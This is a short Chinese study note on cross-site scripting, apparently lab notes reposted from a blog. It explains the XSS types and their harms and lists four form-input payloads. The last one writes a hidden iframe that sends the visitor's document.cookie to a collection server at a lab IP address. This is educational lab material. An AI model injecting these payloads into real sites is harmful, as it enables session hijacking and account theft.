xss攻击笔记

标签：

利用填写的表单输入html命令，在目标服务器或者本机执行。

      1）跨站脚本攻击(Cross Site Scripting)，为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。故将跨站脚本攻击缩写为XSS。

      2）XSS工作原理

      恶意web用户将代码植入到提供给其它用户使用的页面中，如果程序没有经过过滤或者过滤敏感字符不严密就直接输出或者写入数据库。合法用户在访问这些页面的时候，程序将数据库里面的信息输出，这些恶意代码就会被执行。

      3）XSS漏洞的分类

      1.本地利用漏洞，这种漏洞存在于页面中客户端脚本自身；

      2.反射式漏洞，这种漏洞和类型A有些类似，不同的是Web客户端使用Server端脚本生成页面为用户提供数据时，如果未经验证的用户数据被包含在页面中而未经HTML实体编码，客户端代码便能够注入到动态页面中；

      3.存储式漏洞，该类型是应用最为广泛而且有可能影响到Web服务器自身安全的漏洞，骇客将攻击脚本上传到Web服务器上，使得所有访问该页面的用户都面临信息泄漏的可能，其中也包括了Web服务器的管理员。

      4）XSS攻击的危害

      1.盗取用户cookie；

      2.盗取各类用户帐号，如机器登录帐号、用户网银帐号、各类管理员帐号；

      3.控制企业数据，包括读取、篡改、添加、删除企业敏感数据的能力；

      4.盗窃企业重要的具有商业价值的资料；

      5.强制发送电子邮件；

      6.网站挂马；

实验一：

在填入表单中输入

正常字符

<script>alert("Xss Test")</script> //弹窗

二

正常

 <iframe src="http://www.heetian.com"></iframe>  //打开这个网址

三：

正常

<script>document.write(document.cookie)</script>   //打印用户的cookie 获取用户名和密码

四：

正常

  <script>document.write("<iframe width=0 height=0 src=‘http://10.1.1.78/cookie.asp?cookie="+document.cookie+"‘></iframe>");</script>   //将用户的cookie 发送到已经架设好的服务器

配置服务器过程好好看看

xss攻击笔记

标签：

原文地址：http://www.cnblogs.com/hitxx/p/4534774.html